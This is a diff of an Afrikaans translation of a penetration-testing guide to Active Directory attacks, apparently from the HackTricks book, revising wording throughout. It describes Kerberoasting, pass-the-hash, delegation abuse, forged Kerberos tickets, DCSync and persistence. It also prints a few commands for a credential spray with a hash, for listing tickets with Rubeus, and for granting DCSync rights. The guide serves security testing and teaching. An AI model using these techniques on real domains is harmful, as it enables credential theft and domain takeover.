@ -145,7 +148,7 @@ As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegan
Vir hierdie fase moet jy **die krediete of 'n sessie van 'n geldige domeinrekening gekompromitteer het.** As jy 'n paar geldige krediete of 'n shell as 'n domein gebruiker het, **moet jy onthou dat die opsies wat voorheen gegee is steeds opsies is om ander gebruikers te kompromitteer**.
Voordat jy die geverifieerde enumerasie begin, moet jy weet wat die **Kerberos dubbel hop probleem is.**
Voordat jy die geverifieerde enumerasie begin, moet jy weet wat die **Kerberos dubbel hop probleem** is.
{{#ref}}
kerberos-double-hop-problem.md
@ -157,16 +160,16 @@ Om 'n rekening te kompromitteer is 'n **groot stap om die hele domein te begin k
Ten opsigte van [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesbare gebruiker vind, en ten opsigte van [**Password Spraying**](password-spraying.md) kan jy 'n **lys van al die gebruikersname** kry en die wagwoord van die gekompromitteerde rekening, leë wagwoorde en nuwe belowende wagwoorde probeer.
- Jy kan die [**CMD gebruik om 'n basiese rekonstruksie te doen**](../basic-cmd-for-pentesters.md#domain-info)
- Jy kan die [**CMD gebruik om 'n basiese rekonstruksie uit te voer**](../basic-cmd-for-pentesters.md#domain-info)
- Jy kan ook [**powershell vir rekonstruksie gebruik**](../basic-powershell-for-pentesters/index.html) wat meer stil sal wees
- Jy kan ook [**powerview gebruik**](../basic-powershell-for-pentesters/powerview.md) om meer gedetailleerde inligting te onttrek
- 'n Ander wonderlike hulpmiddel vir rekonstruksie in 'n aktiewe gids is [**BloodHound**](bloodhound.md). Dit is **nie baie stil nie** (afhangende van die versamelingsmetodes wat jy gebruik), maar **as jy nie omgee** daaroor nie, moet jy dit beslis probeer. Vind waar gebruikers RDP kan, vind pad na ander groepe, ens.
- **Ander geoutomatiseerde AD enumerasie hulpmiddels is:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS rekords van die AD**](ad-dns-records.md) aangesien dit dalk interessante inligting kan bevat.
- 'n **hulpmiddel met GUI** wat jy kan gebruik om die gids te enumereer is **AdExplorer.exe** van **SysInternal** Suite.
- Jy kan ook in die LDAP databasis soek met **ldapsearch** om na krediete in die velde _userPassword_ & _unixUserPassword_, of selfs vir _Description_ te kyk. cf. [Wagwoord in AD Gebruiker kommentaar op PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
- Jy kan ook in die LDAP-databasis soek met **ldapsearch** om na krediete in die velde _userPassword_ & _unixUserPassword_, of selfs vir _Description_ te kyk. cf. [Wagwoord in AD Gebruiker kommentaar op PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
- As jy **Linux** gebruik, kan jy ook die domein enumereer met [**pywerview**](https://github.com/the-useless-one/pywerview).
- Jy kan ook probeer om geoutomatiseerde hulpmiddels soos:
- Jy kan ook geoutomatiseerde hulpmiddels probeer soos:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Alle domein gebruikers onttrek**
@ -177,7 +180,7 @@ Dit is baie maklik om al die domein gebruikersname van Windows te verkry (`net u
### Kerberoast
Kerberoasting behels die verkryging van **TGS-tickets** wat deur dienste wat aan gebruikersrekeninge gekoppel is, gebruik word en die kraken van hul enkripsie—wat gebaseer is op gebruikerswagwoorde—**aflyn**.
Kerberoasting behels die verkryging van **TGS kaartjies** wat deur dienste wat aan gebruikersrekeninge gekoppel is, gebruik word en die kraken van hul enkripsie—wat gebaseer is op gebruikerswagwoorde—**aflyn**.
Meer hieroor in:
@ -185,9 +188,9 @@ Meer hieroor in:
kerberoast.md
{{#endref}}
### Afgeleë verbinding (RDP, SSH, FTP, Win-RM, ens.)
### Afgeleë verbinding (RDP, SSH, FTP, Win-RM, ens)
Sodra jy 'n paar krediete verkry het, kan jy kyk of jy toegang het tot enige **masjien**. Hiervoor kan jy **CrackMapExec** gebruik om te probeer om op verskeie bedieners met verskillende protokolle aan te sluit, ooreenkomstig jou poort skanderings.
Sodra jy 'n paar krediete verkry het, kan jy kyk of jy toegang tot enige **masjien** het. Hiervoor kan jy **CrackMapExec** gebruik om te probeer om op verskeie bedieners met verskillende protokolle aan te sluit, ooreenkomstig jou poort skanderings.
### Plaaslike Privilege Escalation
@ -195,9 +198,9 @@ As jy gekompromitteerde krediete of 'n sessie as 'n gewone domein gebruiker het
Daar is 'n volledige bladsy in hierdie boek oor [**plaaslike privilege escalasie in Windows**](../windows-local-privilege-escalation/index.html) en 'n [**kontrolelys**](../checklist-windows-privilege-escalation.md). Moet ook nie vergeet om [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) te gebruik nie.
### Huidige Sessie Tickets
### Huidige Sessie Kaartjies
Dit is baie **onwaarskynlik** dat jy **tickets** in die huidige gebruiker sal vind wat jou toestemming gee om **onverwagte hulpbronne** te benader, maar jy kan kyk:
Dit is baie **onwaarskynlik** dat jy **kaartjies** in die huidige gebruiker sal vind wat jou toestemming gee om **onverwagte hulpbronne** te benader, maar jy kan kyk:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -207,17 +210,17 @@ Dit is baie **onwaarskynlik** dat jy **tickets** in die huidige gebruiker sal vi
```
### NTLM Relay
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag in staat wees om NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** af te dwing.**
As jy daarin geslaag het om die aktiewe gids te evalueer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag dalk in staat wees om NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** te dwing.**
### **Soek na Kredensiale in Rekenaar Deelshares**
### Soek na Kredensiale in Rekenaar Aandele | SMB Aandele
Nou dat jy 'n paar basiese kredensiale het, moet jy kyk of jy enige **interessante lêers kan vind wat binne die AD gedeel word**. Jy kan dit handmatig doen, maar dit is 'n baie vervelige herhalende taak (en meer as jy honderde dokumente moet nagaan).
Nou dat jy 'n paar basiese kredensiale het, moet jy kyk of jy enige **interessante lêers kan vind wat binne die AD gedeel word**. Jy kan dit handmatig doen, maar dit is 'n baie vervelige herhalende taak (en meer as jy honderde dokumente vind wat jy moet nagaan).
[**Volg hierdie skakel om meer te leer oor gereedskap wat jy kan gebruik.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steel NTLM Kredensiale
As jy **toegang tot ander rekenaars of deelshares** kan kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, **'n NTLM-authentisering teen jou sal aktiveer**, sodat jy die **NTLM-uitdaging** kan **steel** om dit te kraak:
As jy **toegang tot ander rekenaars of aandele** kan kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, **'n NTLM-authentisering teen jou sal aktiveer**, sodat jy die **NTLM-uitdaging** kan **steel** om dit te kraak:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -225,7 +228,7 @@ As jy **toegang tot ander rekenaars of deelshares** kan kry, kan jy **lêers pla
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
Hierdie kwesbaarheid het enige geverifieerde gebruiker toegelaat om die **domeinbeheerder te kompromitteer**.
Hierdie kwesbaarheid het enige geverifieerde gebruiker in staat gestel om die **domeinbeheerder te kompromitteer**.
{{#ref}}
printnightmare.md
@ -237,19 +240,19 @@ printnightmare.md
### Hash ekstraksie
Hopelik het jy daarin geslaag om 'n **lokale admin** rekening te **kompromitteer** deur [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [lokale voorregte te verhoog](../windows-local-privilege-escalation/index.html).\
Dan is dit tyd om al die hashes in geheue en lokaal te dump.\
Hopelik het jy daarin geslaag om 'n **lokale admin** rekening te **kompromitteer** deur [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [bevoorregte plaaslike eskalasie](../windows-local-privilege-escalation/index.html).\
Dan is dit tyd om al die hashes in geheue en plaaslik te dump.\
[**Lees hierdie bladsy oor verskillende maniere om die hashes te verkry.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om die gebruiker te **verteenwoordig**.\
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering met** daardie **hash** sal **uitvoer**, **of** jy kan 'n nuwe **sessionlogon** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om **te verteenwoordig**.\
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering met** daardie **hash** sal **uitvoer**, **of** jy kan 'n nuwe **sessionlogon** skep en daardie **hash** binne die **LSASS** **injekteer**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
[**Lees hierdie bladsy vir meer inligting.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Hierdie aanval is daarop gemik om die **gebruikers NTLM-hash te gebruik om Kerberos-tickets aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor die NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos toegelaat word** as authentikasieprotokol.
Hierdie aanval is daarop gemik om **die gebruiker se NTLM-hash te gebruik om Kerberos-kaarte aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos as authentikasieprotokol toegelaat word**.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -257,7 +260,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentikasieticket** in plaas van hul wagwoord of hashwaardes. Hierdie gesteelde kaartjie word dan gebruik om die gebruiker te **verteenwoordig**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentikasieticket** in plaas van hul wagwoord of hash waardes. Hierdie gesteelde kaart word dan gebruik om die **gebruiker te verteenwoordig**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
{{#ref}}
pass-the-ticket.md
@ -265,7 +268,7 @@ pass-the-ticket.md
### Kredensiale Hergebruik
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokaal in te log** op ander **rekenaars** daarmee.
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokale aanmelding** te doen op ander **rekenaars** daarmee.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -276,8 +279,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQL Misbruik & Vertroude Skakels
As 'n gebruiker die voorregte het om **MSSQL-instansies te toegang**, kan hy dit gebruik om **opdragte** in die MSSQL-gasheer uit te voer (as dit as SA loop), die NetNTLM **hash** te **steel** of selfs 'n **relay** **aanval** uit te voer.\
Ook, as 'n MSSQL-instansie vertrou (databasis skakel) deur 'n ander MSSQL-instansie. As die gebruiker voorregte oor die vertroude databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om ook in die ander instansie navrae uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker 'n verkeerd geconfigureerde databasis vind waar hy opdragte kan uitvoer.\
As 'n gebruiker bevoegdhede het om **MSSQL instansies te bekom**, kan hy dit gebruik om **opdragte** in die MSSQL gasheer uit te voer (as dit as SA loop), die NetNTLM **hash** te **steel** of selfs 'n **relay** **aanval** uit te voer.\
Ook, as 'n MSSQL instansie vertrou (databasis skakel) deur 'n ander MSSQL instansie. As die gebruiker bevoegdhede oor die vertroude databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker 'n verkeerd geconfigureerde databasis vind waar hy opdragte kan uitvoer.\
**Die skakels tussen databasisse werk selfs oor bosvertroue.**
{{#ref}}
@ -286,9 +289,9 @@ abusing-ad-mssql.md
### Onbeperkte Afvaardiging
As jy enige rekenaarobjek met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) vind en jy het domeinvoorregte op die rekenaar, sal jy in staat wees om TGT's uit die geheue van elke gebruiker wat op die rekenaar aanmeld, te dump.\
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te boots met [Pass the Ticket](pass-the-ticket.md).\
Danksy beperkte afvaardiging kan jy selfs 'n **Drukbediener outomaties kompromenteer** (hopelik sal dit 'n DC wees).
As jy enige rekenaarobjek met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) vind en jy het domein bevoegdhede op die rekenaar, sal jy in staat wees om TGT's uit die geheue van elke gebruiker wat op die rekenaar aanmeld, te dump.\
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te doen met [Pass the Ticket](pass-the-ticket.md).\
Danksy beperkte afvaardiging kan jy selfs **automaties 'n Drukbediener kompromitteer** (hopelik sal dit 'n DC wees).
{{#ref}}
unconstrained-delegation.md
@ -296,8 +299,8 @@ unconstrained-delegation.md
### Beperkte Afvaardiging
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging", sal dit in staat wees om **enige gebruiker na te boots om toegang tot sekere dienste in 'n rekenaar te verkry**.\
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromenteer**, sal jy in staat wees om **enige gebruiker** (selfs domeinadmins) na te boots om toegang tot sekere dienste te verkry.
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging" sal dit in staat wees om **enige gebruiker na te doen om toegang tot sekere dienste in 'n rekenaar te verkry**.\
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromitteer**, sal jy in staat wees om **enige gebruiker** (selfs domein admins) na te doen om toegang tot sekere dienste te verkry.
{{#ref}}
constrained-delegation.md
@ -305,7 +308,7 @@ constrained-delegation.md
### Hulpbronne-gebaseerde Beperkte Afvaardiging
Om **WRITE** voorreg op 'n Active Directory objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde voorregte** moontlik:
Om **WRITE** bevoegdheid op 'n Active Directory objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde bevoegdhede** moontlik:
{{#ref}}
resource-based-constrained-delegation.md
@ -313,7 +316,7 @@ resource-based-constrained-delegation.md
### ACLs Misbruik
Die gekompromitteerde gebruiker kan 'n paar **interessante voorregte oor sekere domeinobjekte** hê wat jou kan laat **beweeg** lateraal/**verhoog** voorregte.
Die gekompromitteerde gebruiker kan sekere **interessante bevoegdhede oor sommige domeinobjekte** hê wat jou kan laat **beweeg** lateraal/**verhoog** bevoegdhede.
{{#ref}}
acl-persistence-abuse/
@ -321,7 +324,7 @@ acl-persistence-abuse/
### Drukspooler diens misbruik
Die ontdekking van 'n **Spool diens wat luister** binne die domein kan **misbruik** word om **nuwe akrediteer** te verkry en **voorregte te verhoog**.
Die ontdekking van 'n **Spool diens wat binne die domein luister** kan **misbruik** word om **nuwe geloofsbriewe** te **verkry** en **bevoegdhede te verhoog**.
{{#ref}}
printers-spooler-service-abuse.md
@ -329,8 +332,8 @@ printers-spooler-service-abuse.md
### Derdeparty sessies misbruik
As **ander gebruikers** **toegang** tot die **gekompromitteerde** masjien het, is dit moontlik om **akrediteer uit die geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle na te boots.\
Gewoonlik sal gebruikers die stelsel via RDP toegang, so hier is hoe om 'n paar aanvalle oor derdeparty RDP-sessies uit te voer:
As **ander gebruikers** **toegang** tot die **gekompromitteerde** masjien het, is dit moontlik om **geloofsbriewe uit die geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle na te doen.\
Gewoonlik sal gebruikers die stelsel via RDP benader, so hier is hoe om 'n paar aanvalle oor derdeparty RDP-sessies uit te voer:
{{#ref}}
rdp-sessions-abuse.md
@ -338,7 +341,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** bied 'n stelsel vir die bestuur van die **lokale Administrateur wagwoord** op domein-verbonden rekenaars, wat verseker dat dit **randomiseer**, uniek is, en gereeld **verander**. Hierdie wagwoorde word in Active Directory gestoor en toegang word beheer deur ACLs slegs aan gemagtigde gebruikers. Met voldoende toestemmings om toegang tot hierdie wagwoorde te verkry, word dit moontlik om na ander rekenaars te pivot.
**LAPS** bied 'n stelsel vir die bestuur van die **lokale Administrateur wagwoord** op domein-verbonden rekenaars, wat verseker dat dit **randomiseer**, uniek is, en gereeld **verander**. Hierdie wagwoorde word in Active Directory gestoor en toegang word beheer deur ACLs slegs aan gemagtigde gebruikers. Met voldoende bevoegdhede om toegang tot hierdie wagwoorde te verkry, word dit moontlik om na ander rekenaars te pivot.
{{#ref}}
laps.md
@ -346,7 +349,7 @@ laps.md
### Sertifikaat Diefstal
**Versameling van sertifikate** van die gekompromitteerde masjien kan 'n manier wees om voorregte binne die omgewing te verhoog:
**Die versameling van sertifikate** van die gekompromitteerde masjien kan 'n manier wees om bevoegdhede binne die omgewing te verhoog:
{{#ref}}
ad-certificates/certificate-theft.md
@ -354,82 +357,82 @@ ad-certificates/certificate-theft.md
### Sertifikaat Templates Misbruik
As **kwetsbare templates** geconfigureer is, is dit moontlik om hulle te misbruik om voorregte te verhoog:
As **kwetsbare templates** geconfigureer is, is dit moontlik om hulle te misbruik om bevoegdhede te verhoog:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}}
## Post-exploitatie met hoë voorreg rekening
## Post-exploitatie met hoë bevoegdheid rekening
### Dumping Domein Akrediteer
### Dumping Domein Geloofsbriewe
Sodra jy **Domein Admin** of selfs beter **Enterprise Admin** voorregte kry, kan jy die **domeindatabasis** dump: _ntds.dit_.
Sodra jy **Domein Admin** of selfs beter **Enterprise Admin** bevoegdhede kry, kan jy die **domeindatabasis** dump: _ntds.dit_.
[**Meer inligting oor DCSync aanval kan hier gevind word**](dcsync.md).
[**Meer inligting oor hoe om die NTDS.dit te steel kan hier gevind word**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc as Volharding
### Privesc as Persistensie
Sommige van die tegnieke wat voorheen bespreek is, kan vir volharding gebruik word.\
Sommige van die tegnieke wat voorheen bespreek is, kan vir persistensie gebruik word.\
Byvoorbeeld, jy kan:
- Maak gebruikers kwesbaar vir [**Kerberoast**](kerberoast.md)
```powershell
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- Maak gebruikers kwesbaar vir [**ASREPRoast**](asreproast.md)
```powershell
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- Gee [**DCSync**](#dcsync) voorregte aan 'n gebruiker
- Gee [**DCSync**](#dcsync) bevoegdhede aan 'n gebruiker
```powershell
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
### Silwer Teken
### Silwer Kaart
Die **Silwer Teken aanval** skep 'n **legitieme Teken Toekenning Diens (TGS) teken** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diens voorregte** te verkry.
Die **Silwer Kaart aanval** skep 'n **legitieme Ticket Granting Service (TGS) kaart** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diensbevoegdhede** te verkry.
{{#ref}}
silver-ticket.md
{{#endref}}
### Goue Teken
### Goue Kaart
'n **Goue Teken aanval** behels 'n aanvaller wat toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Active Directory (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Teken Toekenning Teken (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
'n **Goue Kaart aanval** behels 'n aanvaller wat toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Active Directory (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
Sodra die aanvaller hierdie hash verkry, kan hulle **TGTs** vir enige rekening wat hulle kies skep (Silwer teken aanval).
Sodra die aanvaller hierdie hash verkry, kan hulle **TGTs** vir enige rekening wat hulle kies skep (Silwer kaart aanval).
{{#ref}}
golden-ticket.md
{{#endref}}
### Diamant Teken
### Diamant Kaart
Hierdie is soos goue teken wat gesmee is op 'n manier wat **algemene goue teken opsporingsmeganismes omseil**.
Hierdie is soos goue kaarte wat op 'n manier vervals is wat **algemene goue kaart opsporingsmeganismes omseil**.
{{#ref}}
diamond-ticket.md
{{#endref}}
### **Sertifikate Rekening Volharding**
### **Sertifikate Rekening Persistensie**
**Om sertifikate van 'n rekening te hê of in staat te wees om hulle aan te vra** is 'n baie goeie manier om in die gebruikersrekening te volhard (selfs as hy die wagwoord verander):
**Om sertifikate van 'n rekening te hê of in staat te wees om hulle aan te vra** is 'n baie goeie manier om in die gebruikersrekening te kan volhard (selfs as hy die wagwoord verander):
{{#ref}}
ad-certificates/account-persistence.md
{{#endref}}
### **Sertifikate Domein Volharding**
### **Sertifikate Domein Persistensie**
**Om sertifikate te gebruik is ook moontlik om met hoë voorregte binne die domein te volhard:**
**Die gebruik van sertifikate is ook moontlik om met hoë bevoegdhede binne die domein te volhard:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -437,11 +440,11 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Groep
Die **AdminSDHolder** objek in Active Directory verseker die sekuriteit van **voorregte groepe** (soos Domein Admins en Enterprise Admins) deur 'n standaard **Toegang Beheer Lys (ACL)** oor hierdie groepe toe te pas om ongewenste veranderinge te voorkom. Hierdie kenmerk kan egter misbruik word; as 'n aanvaller die AdminSDHolder se ACL verander om volle toegang aan 'n gewone gebruiker te gee, kry daardie gebruiker uitgebreide beheer oor al die voorregte groepe. Hierdie sekuriteitsmaatreël, wat bedoel is om te beskerm, kan dus omgekeerd werk, wat ongewenste toegang toelaat tensy dit noukeurig gemonitor word.
Die **AdminSDHolder** objek in Active Directory verseker die sekuriteit van **bevoegde groepe** (soos Domein Admins en Enterprise Admins) deur 'n standaard **Toegangsbeheerlys (ACL)** oor hierdie groepe toe te pas om ongewenste veranderinge te voorkom. Hierdie kenmerk kan egter misbruik word; as 'n aanvaller die AdminSDHolder se ACL aanpas om volle toegang aan 'n gewone gebruiker te gee, kry daardie gebruiker uitgebreide beheer oor al die bevoegde groepe. Hierdie sekuriteitsmaatreël, wat bedoel is om te beskerm, kan dus omgekeerd werk, wat ongewenste toegang toelaat tensy dit noukeurig gemonitor word.
[**Meer inligting oor AdminDSHolder Groep hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM Akrediteer
### DSRM Geloofsbriewe
Binne elke **Domein Beheerder (DC)** bestaan 'n **lokale administrateur** rekening. Deur admin regte op so 'n masjien te verkry, kan die lokale Administrateur hash met **mimikatz** uitgehaal word. Daarna is 'n registerwysiging nodig om **die gebruik van hierdie wagwoord** moontlik te maak, wat vir afstandstoegang tot die lokale Administrateur rekening toelaat.
@ -449,9 +452,9 @@ Binne elke **Domein Beheerder (DC)** bestaan 'n **lokale administrateur** rekeni
dsrm-credentials.md
{{#endref}}
### ACL Volharding
### ACL Persistensie
Jy kan **sekere spesiale toestemmings** aan 'n **gebruiker** oor sekere spesifieke domeinobjekte gee wat die gebruiker sal laat **verhoog** voorregte in die toekoms.
Jy kan **sekere spesiale bevoegdhede** aan 'n **gebruiker** oor sekere spesifieke domeinobjekte gee wat die gebruiker sal laat **bevoegdhede in die toekoms verhoog**.
{{#ref}}
acl-persistence-abuse/
@ -459,7 +462,7 @@ acl-persistence-abuse/
### Sekuriteitsbeskrywings
Die **sekuriteitsbeskrywings** word gebruik om die **toestemmings** wat 'n **objek** oor 'n **objek** het, te **stoor**. As jy net 'n **klein verandering** in die **sekuriteitsbeskrywing** van 'n objek kan maak, kan jy baie interessante voorregte oor daardie objek verkry sonder om lid van 'n voorregte groep te wees.
Die **sekuriteitsbeskrywings** word gebruik om die **bevoegdhede** wat 'n **objek** oor 'n **objek** het, te **stoor**. As jy net 'n **klein verandering** in die **sekuriteitsbeskrywing** van 'n objek kan maak, kan jy baie interessante bevoegdhede oor daardie objek verkry sonder om 'n lid van 'n bevoegde groep te wees.
{{#ref}}
security-descriptors.md
@ -467,7 +470,7 @@ security-descriptors.md
### Skelet Sleutel
Verander **LSASS** in geheue om 'n **universale wagwoord** te vestig, wat toegang tot alle domein rekeninge verleen.
Verander **LSASS** in geheue om 'n **universale wagwoord** te vestig, wat toegang tot alle domeinrekeninge verleen.
{{#ref}}
skeleton-key.md
@ -476,7 +479,7 @@ skeleton-key.md
### Pasgemaakte SSP
[Leer wat 'n SSP (Security Support Provider) hier is.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Jy kan jou **eie SSP** skep om die **akrediteer** wat gebruik word om toegang tot die masjien te verkry, in **duidelike teks** te **vang**.
Jy kan jou **eie SSP** skep om die **geloofsbriewe** wat gebruik word om toegang tot die masjien te verkry, in **duidelike teks** te **vang**.
{{#ref}}
custom-ssp.md
@ -484,77 +487,90 @@ custom-ssp.md
### DCShadow
Dit registreer 'n **nuwe Domein Beheerder** in die AD en gebruik dit om **attribuut** (SIDHistory, SPNs...) op gespesifiseerde objek te **druk** **sonder** om enige **logs** rakende die **wysigings** te laat. Jy **het DA** voorregte nodig en moet binne die **worteldomein** wees.\
Dit registreer 'n **nuwe Domein Beheerder** in die AD en gebruik dit om **attribuutte** (SIDHistory, SPNs...) op gespesifiseerde objek te **druk** **sonder** om enige **logs** rakende die **wysigings** te laat. Jy **het DA** bevoegdhede nodig en moet binne die **worteldomein** wees.\
Let daarop dat as jy verkeerde data gebruik, sal daar baie lelike logs verskyn.
{{#ref}}
dcshadow.md
{{#endref}}
### LAPS Volharding
### LAPS Persistensie
Voorheen het ons bespreek hoe om voorregte te verhoog as jy **genoeg toestemming het om LAPS wagwoorde te lees**. Hierdie wagwoorde kan egter ook gebruik word om **volharding te handhaaf**.\
Voorheen het ons bespreek hoe om bevoegdhede te verhoog as jy **genoeg toestemming het om LAPS wagwoorde te lees**. Hierdie wagwoorde kan egter ook gebruik word om **persistensie te handhaaf**.\
Kyk:
{{#ref}}
laps.md
{{#endref}}
## Bos Voorreg Verhoog - Domein Vertroue
## Bos Bevoegdheid Verhoging - Domein Vertroue
Microsoft beskou die **Bos** as die sekuriteitsgrens. Dit impliseer dat **die kompromitering van 'n enkele domein moontlik kan lei tot die hele Bos wat gecompromitteer word**.
Microsoft beskou die **Bos** as die sekuriteitsgrens. Dit impliseer dat **die kompromittering van 'n enkele domein moontlik die hele Bos kan kompromitteer**.
### Basiese Inligting
'n [**domein vertroue**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** in staat stel om toegang tot hulpbronne in 'n ander **domein** te verkry. Dit skep essensieel 'n skakel tussen die autentiseringstelsels van die twee domeine, wat autentisering verifikasies naatloos laat vloei. Wanneer domeine 'n vertroue opstel, ruil hulle spesifieke **sleutels** uit en hou dit binne hul **Domein Beheerders (DCs)**, wat noodsaaklik is vir die integriteit van die vertroue.
'n [**domein vertroue**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** in staat stel om toegang tot hulpbronne in 'n ander **domein** te verkry. Dit skep essensieel 'n skakel tussen die autentiseringstelsels van die twee domeine, wat autentiseringverifikasies naatloos laat vloei. Wanneer domeine 'n vertroue opstel, ruil hulle spesifieke **sleutels** uit en hou dit binne hul **Domein Beheerders (DCs)**, wat noodsaaklik is vir die integriteit van die vertroue.
